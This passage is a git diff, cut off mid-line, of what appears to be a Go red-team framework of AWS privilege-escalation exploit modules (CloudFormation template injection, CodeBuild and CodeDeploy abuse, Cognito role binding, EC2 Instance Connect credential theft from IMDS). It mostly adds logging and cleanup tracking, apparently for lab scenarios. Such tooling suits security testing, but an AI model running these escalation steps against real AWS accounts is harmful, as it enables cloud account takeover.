b/pkg/exploits/braket_passrole/module.go index aac6526..c959775 100644 --- a/pkg/exploits/braket_passrole/module.go +++ b/pkg/exploits/braket_passrole/module.go @@ -125,7 +125,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "braket.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "braket.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -178,6 +178,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -337,6 +338,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { jobArn := aws.ToString(createResult.JobArn) fmt.Printf("Braket Hybrid Job created: %s\n", jobArn) + if logger != nil { + logger.LogAWSCall("braket", "CreateJob", region, + fmt.Sprintf("Created Braket Hybrid Job %s with execution role %s to run payload %s", jobName, roleArn, payloadType), + map[string]string{"job_arn": jobArn, "job_name": jobName, "role_arn": roleArn, "payload": payloadType, "script_uri": scriptS3URI}) + } + // Track the job for workspace cleanup reporting if tracker != nil { tracker.TrackResource(modules.CreatedResource{ diff --git a/pkg/exploits/cloudformation_createchangeset_executechangeset/module.go b/pkg/exploits/cloudformation_createchangeset_executechangeset/module.go index f908dee..1bed432 100644 --- a/pkg/exploits/cloudformation_createchangeset_executechangeset/module.go +++ b/pkg/exploits/cloudformation_createchangeset_executechangeset/module.go @@ -173,6 +173,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger stackName := options["STACK_NAME"] if stackName == "" { @@ -199,6 +200,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { callerAccount := aws.ToString(callerIdentity.Account) fmt.Printf("Current identity: %s\n", callerArn) + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + fmt.Sprintf("Retrieved caller identity: %s", callerArn), + map[string]string{"arn": callerArn, "account": callerAccount}) + } + // Step 2: Resolve trust principal — defaults to caller, normalized from assumed-role to role ARN. trustPrincipal := options["TRUST_PRINCIPAL"] if trustPrincipal == "" { @@ -251,6 +258,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { originalTemplateBody = "" // signals buildMaliciousTemplate to build from scratch } else { originalTemplateBody = aws.ToString(templateResult.TemplateBody) + if logger != nil { + logger.LogAWSCall("cloudformation", "GetTemplate", config.Region, + fmt.Sprintf("Retrieved current template from CloudFormation stack %s for safe template merging", stackName), + map[string]string{"stack_name": stackName}) + } } // Step 5: Generate the payload template and merge it into the existing stack template. @@ -307,6 +319,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Println("Change set creation initiated.") + if logger != nil { + logger.LogAWSCall("cloudformation", "CreateChangeSet", config.Region, + fmt.Sprintf("Created change set %s on CloudFormation stack %s to inject escalated IAM role %s", changeSetName, stackName, escalatedRoleName), + map[string]string{"stack_name": stackName, "changeset_name": changeSetName, "escalated_role": escalatedRoleName, "payload": payloadType}) + } + // Step 7: Wait 15 seconds for the change set to reach CREATE_COMPLETE status. // This delay is calibrated from demo_attack.sh testing. fmt.Println("Waiting 15 seconds for change set to be ready...") @@ -337,6 +355,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Println("Change set execution initiated. Waiting for stack update to complete...") + if logger != nil { + logger.LogAWSCall("cloudformation", "ExecuteChangeSet", config.Region, + fmt.Sprintf("Executed change set %s on CloudFormation stack %s — stack admin service role will create escalated role %s", changeSetName, stackName, escalatedRoleName), + map[string]string{"stack_name": stackName, "changeset_name": changeSetName, "escalated_role": escalatedRoleName}) + } + // Step 10: Poll for stack update completion. // demo_attack.sh used `cloudformation wait stack-update-complete` which polls every 30s. // We use a polling loop with a 5-minute total timeout, matching the lab's observed timing. @@ -423,6 +447,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Printf("Successfully assumed escalated role '%s'!\n", escalatedRoleName) + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed escalated IAM role %s created by CloudFormation stack %s change set", escalatedRoleArn, stackName), + map[string]string{"role_arn": escalatedRoleArn, "stack_name": stackName, "changeset_name": changeSetName}) + } + identityName := fmt.Sprintf("cfn005_%s_%d", escalatedRoleName, time.Now().Unix()) var outputBuilder strings.Builder diff --git a/pkg/exploits/cloudformation_passrole/module.go b/pkg/exploits/cloudformation_passrole/module.go index 734dd94..77ccbe0 100644 --- a/pkg/exploits/cloudformation_passrole/module.go +++ b/pkg/exploits/cloudformation_passrole/module.go @@ -108,7 +108,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "cloudformation.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "cloudformation.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -173,6 +173,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger cfnRoleArn := options["ROLE_ARN"] if cfnRoleArn == "" { @@ -199,6 +200,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { callerAccount := aws.ToString(callerIdentity.Account) fmt.Printf("Current identity: %s\n", callerArn) + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + fmt.Sprintf("Retrieved caller identity: %s", callerArn), + map[string]string{"arn": callerArn, "account": callerAccount}) + } + // Step 2: Resolve the trust principal. If the caller is an assumed-role session, // normalize to the underlying role ARN so the trust policy remains durable across sessions. trustPrincipal := options["TRUST_PRINCIPAL"] @@ -276,6 +283,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Println("Stack creation initiated.") + if logger != nil { + logger.LogAWSCall("cloudformation", "CreateStack", config.Region, + fmt.Sprintf("Created CloudFormation stack %s with service role %s to provision escalated IAM role %s", stackName, cfnRoleArn, escalatedRoleName), + map[string]string{"stack_name": stackName, "cfn_role_arn": cfnRoleArn, "escalated_role": escalatedRoleName, "payload": payloadType}) + } + // Track the stack immediately after creation so cleanup works even if we fail mid-exploit. escalatedRoleArn := fmt.Sprintf("arn:aws:iam::%s:role/%s", callerAccount, escalatedRoleName) if tracker != nil { @@ -371,6 +384,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Printf("Successfully assumed escalated role '%s'!\n", escalatedRoleName) + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed escalated IAM role %s created by CloudFormation stack %s", escalatedRoleArn, stackName), + map[string]string{"role_arn": escalatedRoleArn, "stack_name": stackName, "cfn_role_arn": cfnRoleArn}) + } + // Step 10: Optionally clean up the stack now that we have the escalated credentials. if options["CLEANUP"] == "true" { fmt.Printf("Cleanup enabled, deleting stack '%s'...\n", stackName) diff --git a/pkg/exploits/cloudformation_passrole_createstackset_createstackinstances/module.go b/pkg/exploits/cloudformation_passrole_createstackset_createstackinstances/module.go index b25de8a..61fd02d 100644 --- a/pkg/exploits/cloudformation_passrole_createstackset_createstackinstances/module.go +++ b/pkg/exploits/cloudformation_passrole_createstackset_createstackinstances/module.go @@ -136,11 +136,11 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current // to a single result even when multiple CloudFormation scenarios are deployed in parallel. adminRoleArn := currentOptions["ROLE_ARN"] if adminRoleArn != "" { - return discovery.DiscoverCFNExecutionRoleForAdminRole(context.Background(), config, adminRoleArn) + return discovery.DiscoverCFNExecutionRoleForAdminRole(context.Background(), config, adminRoleArn, m.DiscoveryLogger) } // Fallback: use structural trust-policy analysis to distinguish execution roles // (trust cfn + specific role ARN) from administration roles (trust cfn + :root). - return discovery.DiscoverCFNStackSetExecutionRoles(context.Background(), config) + return discovery.DiscoverCFNStackSetExecutionRoles(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -213,6 +213,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger executionRoleName := options["EXECUTION_ROLE_NAME"] if executionRoleName == "" { @@ -239,6 +240,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { callerAccount := aws.ToString(callerIdentity.Account) fmt.Printf("Current identity: %s\n", callerArn) + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + fmt.Sprintf("Retrieved caller identity: %s", callerArn), + map[string]string{"arn": callerArn, "account": callerAccount}) + } + // Step 2: Resolve trust principal. Normalize assumed-role sessions to the underlying // role ARN so the trust policy remains durable across session rotations. trustPrincipal := options["TRUST_PRINCIPAL"] @@ -332,6 +339,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Println("StackSet creation initiated.") + if logger != nil { + logger.LogAWSCall("cloudformation", "CreateStackSet", config.Region, + fmt.Sprintf("Created CloudFormation StackSet %s with execution role %s to provision escalated IAM role %s", stackSetName, executionRoleName, escalatedRoleName), + map[string]string{"stackset_name": stackSetName, "admin_role_arn": adminRoleArn, "execution_role_name": executionRoleName, "escalated_role": escalatedRoleName, "payload": payloadType}) + } + // Track the StackSet immediately so cleanup works even if we fail mid-exploit. escalatedRoleArn := fmt.Sprintf("arn:aws:iam::%s:role/%s", callerAccount, escalatedRoleName) if tracker != nil { @@ -395,6 +408,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { operationID := aws.ToString(createInstancesResult.OperationId) fmt.Printf("Stack instance deployment operation ID: %s\n", operationID) + if logger != nil { + logger.LogAWSCall("cloudformation", "CreateStackInstances", config.Region, + fmt.Sprintf("Deployed CloudFormation StackSet %s instances to account %s region %s — execution role %s will create escalated role %s", stackSetName, callerAccount, config.Region, executionRoleName, escalatedRoleName), + map[string]string{"stackset_name": stackSetName, "operation_id": operationID, "account_id": callerAccount, "execution_role_name": executionRoleName, "escalated_role": escalatedRoleName}) + } + // Update the tracked resource with the operation ID for status tracking. if tracker != nil { tracker.TrackResource(modules.CreatedResource{ @@ -473,6 +492,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Printf("Successfully assumed escalated role '%s'!\n", escalatedRoleName) + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed escalated IAM role %s created by CloudFormation StackSet %s", escalatedRoleArn, stackSetName), + map[string]string{"role_arn": escalatedRoleArn, "stackset_name": stackSetName, "execution_role_name": executionRoleName}) + } + // Step 12: Optionally clean up the StackSet after successfully obtaining escalated credentials. if options["CLEANUP"] == "true" { fmt.Printf("Cleanup enabled, deleting StackSet '%s' and its instances...\n", stackSetName) diff --git a/pkg/exploits/cloudformation_updatestack/module.go b/pkg/exploits/cloudformation_updatestack/module.go index 21ce1f2..4f9eb32 100644 --- a/pkg/exploits/cloudformation_updatestack/module.go +++ b/pkg/exploits/cloudformation_updatestack/module.go @@ -175,6 +175,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger stackName := options["STACK_NAME"] if stackName == "" { @@ -201,6 +202,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { callerAccount := aws.ToString(callerIdentity.Account) fmt.Printf("Current identity: %s\n", callerArn) + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + fmt.Sprintf("Retrieved caller identity: %s", callerArn), + map[string]string{"arn": callerArn, "account": callerAccount}) + } + // Step 2: Resolve the trust principal. If unset, default to the caller. Normalize assumed-role // ARNs to the underlying role ARN so the trust policy remains durable across sessions. trustPrincipal := options["TRUST_PRINCIPAL"] @@ -239,6 +246,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { } originalTemplateBody := aws.ToString(templateResult.TemplateBody) + if logger != nil { + logger.LogAWSCall("cloudformation", "GetTemplate", config.Region, + fmt.Sprintf("Retrieved current template from CloudFormation stack %s for safe template injection", stackName), + map[string]string{"stack_name": stackName}) + } + // Step 5: Build the modified template by generating the payload template and merging its // Resources into the existing stack template alongside all existing resources. // CAPABILITY_NAMED_IAM is required because we create an IAM role with an explicit name. @@ -288,6 +301,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Println("Stack update initiated.") + if logger != nil { + logger.LogAWSCall("cloudformation", "UpdateStack", config.Region, + fmt.Sprintf("Updated CloudFormation stack %s template to inject escalated IAM role %s — stack admin service role will create it", stackName, escalatedRoleName), + map[string]string{"stack_name": stackName, "escalated_role": escalatedRoleName, "payload": payloadType}) + } + // Track the modified stack for cleanup reference. Stored before polling so cleanup // can run even if we fail mid-exploit (e.g., timed out waiting for the update). escalatedRoleArn := fmt.Sprintf("arn:aws:iam::%s:role/%s", callerAccount, escalatedRoleName) @@ -384,6 +403,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Printf("Successfully assumed escalated role '%s'!\n", escalatedRoleName) + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed escalated IAM role %s created by CloudFormation stack %s update", escalatedRoleArn, stackName), + map[string]string{"role_arn": escalatedRoleArn, "stack_name": stackName}) + } + // Step 11: Optionally clean up the stack now that we have escalated credentials. if options["CLEANUP"] == "true" { fmt.Printf("Cleanup enabled, reverting stack '%s' to original template...\n", stackName) diff --git a/pkg/exploits/cloudformation_updatestackset/module.go b/pkg/exploits/cloudformation_updatestackset/module.go index 1f39380..dc95101 100644 --- a/pkg/exploits/cloudformation_updatestackset/module.go +++ b/pkg/exploits/cloudformation_updatestackset/module.go @@ -187,6 +187,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger stackSetName := options["STACKSET_NAME"] if stackSetName == "" { @@ -213,6 +214,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { callerAccount := aws.ToString(callerIdentity.Account) fmt.Printf("Current identity: %s\n", callerArn) + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + fmt.Sprintf("Retrieved caller identity: %s", callerArn), + map[string]string{"arn": callerArn, "account": callerAccount}) + } + // Step 2: Resolve trust principal — defaults to caller, normalized from assumed-role to role ARN. trustPrincipal := options["TRUST_PRINCIPAL"] if trustPrincipal == "" { @@ -254,6 +261,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { stackSet := descResult.StackSet originalTemplateBody := aws.ToString(stackSet.TemplateBody) + if logger != nil { + logger.LogAWSCall("cloudformation", "DescribeStackSet", config.Region, + fmt.Sprintf("Retrieved current configuration and template from CloudFormation StackSet %s for template injection", stackSetName), + map[string]string{"stackset_name": stackSetName}) + } + // Resolve administration role ARN. adminRoleArn := options["ADMIN_ROLE_ARN"] if adminRoleArn == "" { @@ -325,6 +338,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { escalatedRoleArn := fmt.Sprintf("arn:aws:iam::%s:role/%s", callerAccount, escalatedRoleName) + if logger != nil { + logger.LogAWSCall("cloudformation", "UpdateStackSet", config.Region, + fmt.Sprintf("Updated CloudFormation StackSet %s template to inject escalated IAM role %s — execution role %s will create it", stackSetName, escalatedRoleName, executionRoleName), + map[string]string{"stackset_name": stackSetName, "operation_id": operationID, "admin_role_arn": adminRoleArn, "execution_role_name": executionRoleName, "escalated_role": escalatedRoleName, "payload": payloadType}) + } + // Step 7: Track the modified StackSet for cleanup. if tracker != nil { tracker.TrackResource(modules.CreatedResource{ @@ -410,6 +429,12 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Printf("Successfully assumed escalated role '%s'!\n", escalatedRoleName) + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed escalated IAM role %s created by CloudFormation StackSet %s update", escalatedRoleArn, stackSetName), + map[string]string{"role_arn": escalatedRoleArn, "stackset_name": stackSetName, "execution_role_name": executionRoleName}) + } + identityName := fmt.Sprintf("cfn004_%s_%d", escalatedRoleName, time.Now().Unix()) var outputBuilder strings.Builder diff --git a/pkg/exploits/codebuild_passrole/module.go b/pkg/exploits/codebuild_passrole/module.go index bf77956..27910d9 100644 --- a/pkg/exploits/codebuild_passrole/module.go +++ b/pkg/exploits/codebuild_passrole/module.go @@ -109,7 +109,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "codebuild.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "codebuild.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -158,6 +158,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -249,6 +250,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to create CodeBuild project: %v", err) } fmt.Printf("CodeBuild project created: %s\n", projectName) + if logger != nil { + logger.LogAWSCall("codebuild", "CreateProject", region, + fmt.Sprintf("Created CodeBuild project %s with service role %s", projectName, roleArn), + map[string]string{"project_name": projectName, "role_arn": roleArn}) + } // Track the project for cleanup if tracker != nil { @@ -280,6 +286,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { buildID := aws.ToString(startResult.Build.Id) fmt.Printf("Build started: %s\n", buildID) + if logger != nil { + logger.LogAWSCall("codebuild", "StartBuild", region, + fmt.Sprintf("Started build on project %s to execute payload", projectName), + map[string]string{"project_name": projectName, "build_id": buildID}) + } // Poll for build completion: check every 10s, give up after 120s. // These intervals match the calibrated timing in the lab's demo_attack.sh. diff --git a/pkg/exploits/codebuild_passrole_startbuildbatch/module.go b/pkg/exploits/codebuild_passrole_startbuildbatch/module.go index 2f3ad6e..055f80a 100644 --- a/pkg/exploits/codebuild_passrole_startbuildbatch/module.go +++ b/pkg/exploits/codebuild_passrole_startbuildbatch/module.go @@ -114,7 +114,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "codebuild.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "codebuild.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -174,6 +174,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -272,6 +273,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to create CodeBuild project: %v", err) } fmt.Printf("CodeBuild project created: %s\n", projectName) + if logger != nil { + logger.LogAWSCall("codebuild", "CreateProject", region, + fmt.Sprintf("Created CodeBuild project %s with service role %s", projectName, roleArn), + map[string]string{"project_name": projectName, "role_arn": roleArn}) + } // Track the project for cleanup regardless of what happens next. if tracker != nil { @@ -303,6 +309,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { buildBatchID := aws.ToString(startResult.BuildBatch.Id) fmt.Printf("Build batch started: %s\n", buildBatchID) + if logger != nil { + logger.LogAWSCall("codebuild", "StartBuildBatch", region, + fmt.Sprintf("Started batch build on project %s to execute payload", projectName), + map[string]string{"project_name": projectName, "build_batch_id": buildBatchID}) + } // Poll for build batch completion. Batch builds take 2-4 minutes to orchestrate, // so use a 240s timeout (matching MAX_WAIT in demo_attack.sh), polling every 10s. diff --git a/pkg/exploits/codebuild_startbuild/module.go b/pkg/exploits/codebuild_startbuild/module.go index 5a26a53..b9b896c 100644 --- a/pkg/exploits/codebuild_startbuild/module.go +++ b/pkg/exploits/codebuild_startbuild/module.go @@ -107,7 +107,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverCodeBuildProjects(context.Background(), config) + return discovery.DiscoverCodeBuildProjects(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -158,6 +158,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger projectName := options["PROJECT_NAME"] payloadType := options["PAYLOAD"] @@ -219,6 +220,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { buildID := aws.ToString(startResult.Build.Id) fmt.Printf("Build started: %s\n", buildID) + if logger != nil { + logger.LogAWSCall("codebuild", "StartBuild", config.Region, + fmt.Sprintf("Started build on project %s with buildspec override to execute payload", projectName), + map[string]string{"project_name": projectName, "build_id": buildID}) + } // Poll for build completion (every 10s, max 120s — calibrated from demo_attack.sh). fmt.Println("Polling for build completion (every 10s, max 120s)...") diff --git a/pkg/exploits/codebuild_startbuildbatch/module.go b/pkg/exploits/codebuild_startbuildbatch/module.go index ca44f20..8e17e44 100644 --- a/pkg/exploits/codebuild_startbuildbatch/module.go +++ b/pkg/exploits/codebuild_startbuildbatch/module.go @@ -109,7 +109,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverCodeBuildProjects(context.Background(), config) + return discovery.DiscoverCodeBuildProjects(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -161,6 +161,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger projectName := options["PROJECT_NAME"] payloadType := options["PAYLOAD"] @@ -227,6 +228,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { buildBatchID := aws.ToString(startResult.BuildBatch.Id) fmt.Printf("Batch build started: %s\n", buildBatchID) + if logger != nil { + logger.LogAWSCall("codebuild", "StartBuildBatch", config.Region, + fmt.Sprintf("Started batch build on project %s with buildspec override to execute payload", projectName), + map[string]string{"project_name": projectName, "build_batch_id": buildBatchID}) + } // Poll for batch build completion (every 10s, max 240s — calibrated from demo_attack.sh). fmt.Println("Polling for batch build completion (every 10s, max 240s)...") diff --git a/pkg/exploits/codedeploy_createdeployment/module.go b/pkg/exploits/codedeploy_createdeployment/module.go index 45662ae..486d76a 100644 --- a/pkg/exploits/codedeploy_createdeployment/module.go +++ b/pkg/exploits/codedeploy_createdeployment/module.go @@ -164,17 +164,17 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "APP_NAME": - return discovery.DiscoverCodeDeployApps(context.Background(), config) + return discovery.DiscoverCodeDeployApps(context.Background(), config, m.DiscoveryLogger) case "DEPLOYMENT_GROUP": appName := currentOptions["APP_NAME"] if appName == "" { return nil, fmt.Errorf("set APP_NAME first before discovering deployment groups") } - return discovery.DiscoverCodeDeployGroups(context.Background(), config, appName) + return discovery.DiscoverCodeDeployGroups(context.Background(), config, appName, m.DiscoveryLogger) case "BUCKET": - return discovery.DiscoverS3Buckets(context.Background(), config) + return discovery.DiscoverS3Buckets(context.Background(), config, m.DiscoveryLogger) case "TARGET_ARN": - return discovery.DiscoverIAMUsers(context.Background(), config) + return discovery.DiscoverIAMUsers(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -192,6 +192,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger appName := options["APP_NAME"] deploymentGroup := options["DEPLOYMENT_GROUP"] @@ -268,6 +269,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { deploymentID := aws.ToString(createOutput.DeploymentId) fmt.Printf("Deployment created: %s\n", deploymentID) + if logger != nil { + logger.LogAWSCall("codedeploy", "CreateDeployment", config.Region, + fmt.Sprintf("Created CodeDeploy deployment on application %s, group %s", appName, deploymentGroup), + map[string]string{"deployment_id": deploymentID, "app_name": appName, "deployment_group": deploymentGroup}) + } fmt.Println("The CodeDeploy agent on the target EC2 instance will execute the lifecycle hook") fmt.Println("using the pre-attached admin IAM instance profile (AdministratorAccess).") fmt.Println("The hook calls iam:AttachUserPolicy to grant AdministratorAccess to the starting user.") diff --git a/pkg/exploits/cognitoidentity_passrole/module.go b/pkg/exploits/cognitoidentity_passrole/module.go index 0cb3005..73f0d27 100644 --- a/pkg/exploits/cognitoidentity_passrole/module.go +++ b/pkg/exploits/cognitoidentity_passrole/module.go @@ -105,7 +105,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "cognito-identity.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "cognito-identity.amazonaws.com", m.DiscoveryLogger) case "IDENTITY_POOL_ID": return discoverIdentityPools(context.Background(), config) default: @@ -165,6 +165,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] identityPoolID := options["IDENTITY_POOL_ID"] @@ -209,6 +210,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("SetIdentityPoolRoles failed: %v", err) } fmt.Println(" Admin role bound to unauthenticated identity slot (HTTP 200, empty body).") + if logger != nil { + logger.LogAWSCall("cognito-identity", "SetIdentityPoolRoles", region, + fmt.Sprintf("Bound admin role %s to unauthenticated slot of identity pool %s", roleArn, identityPoolID), + map[string]string{"identity_pool_id": identityPoolID, "role_arn": roleArn}) + } // Track the pool modification for cleanup. This is a side-effect on an existing resource, // not a newly created one, so we record the original binding for remediation. diff --git a/pkg/exploits/ec2_instanceconnect/module.go b/pkg/exploits/ec2_instanceconnect/module.go index 2f72b76..4c61cc4 100644 --- a/pkg/exploits/ec2_instanceconnect/module.go +++ b/pkg/exploits/ec2_instanceconnect/module.go @@ -112,7 +112,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "INSTANCE_ID": - choices, err := discoverInstances(context.Background(), config) + choices, err := discoverInstances(context.Background(), config, m.DiscoveryLogger) if err != nil { return nil, err } @@ -192,7 +192,9 @@ type imdsCredentials struct { func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options + logger := ectx.Logger + tracker := ectx.Tracker instanceID := options["INSTANCE_ID"] ec2User := options["EC2_USER"] if ec2User == "" { @@ -258,6 +260,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err := sendSSHPublicKey(region, instanceID, ec2User, publicKey, creds); err != nil { return "", fmt.Errorf("failed to push SSH public key via EC2 Instance Connect: %v", err) } + if logger != nil { + logger.LogAWSCall("ec2-instance-connect", "SendSSHPublicKey", region, + fmt.Sprintf("Pushed temporary SSH public key to instance %s as user %s (60s validity window)", instanceID, ec2User), + map[string]string{"instance_id": instanceID, "ec2_user": ec2User}) + } fmt.Println("Public key pushed successfully. SSH window is open.") // Step 4: SSH into the instance and extract credentials from IMDS. @@ -303,6 +310,20 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Print(policyAttachOutput) fmt.Println("Waiting 15 seconds for IAM policy propagation...") time.Sleep(15 * time.Second) + if tracker != nil { + tracker.TrackResource(modules.CreatedResource{ + Type: "iam:attached-policy", + Name: fmt.Sprintf("%s/AdministratorAccess", targetUser), + Region: region, + CleanupMethod: "iam:DetachUserPolicy", + ModuleID: "ec2-003", + Metadata: map[string]string{ + "principal_type": "user", + "principal_name": targetUser, + "policy_arn": "arn:aws:iam::aws:policy/AdministratorAccess", + }, + }) + } } } @@ -534,8 +555,8 @@ func buildAWSEnv(creds aws.Credentials, region string) []string { } // discoverInstances lists running EC2 instances that have an IAM instance profile. -func discoverInstances(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { - return discovery.DiscoverEC2InstancesWithProfiles(ctx, config) +func discoverInstances(ctx context.Context, config aws.Config, logger modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + return discovery.DiscoverEC2InstancesWithProfiles(ctx, config, logger) } // min returns the smaller of a and b. diff --git a/pkg/exploits/ec2_launch_template_version/module.go b/pkg/exploits/ec2_launch_template_version/module.go index 593b67f..00d240a 100644 --- a/pkg/exploits/ec2_launch_template_version/module.go +++ b/pkg/exploits/ec2_launch_template_version/module.go @@ -189,6 +189,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger templateName := options["LAUNCH_TEMPLATE_NAME"] asgName := options["ASG_NAME"] @@ -276,6 +277,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { newVersionNumber := aws.ToInt64(newVersionResult.LaunchTemplateVersion.VersionNumber) fmt.Printf("Created malicious launch template version: %d\n", newVersionNumber) + if logger != 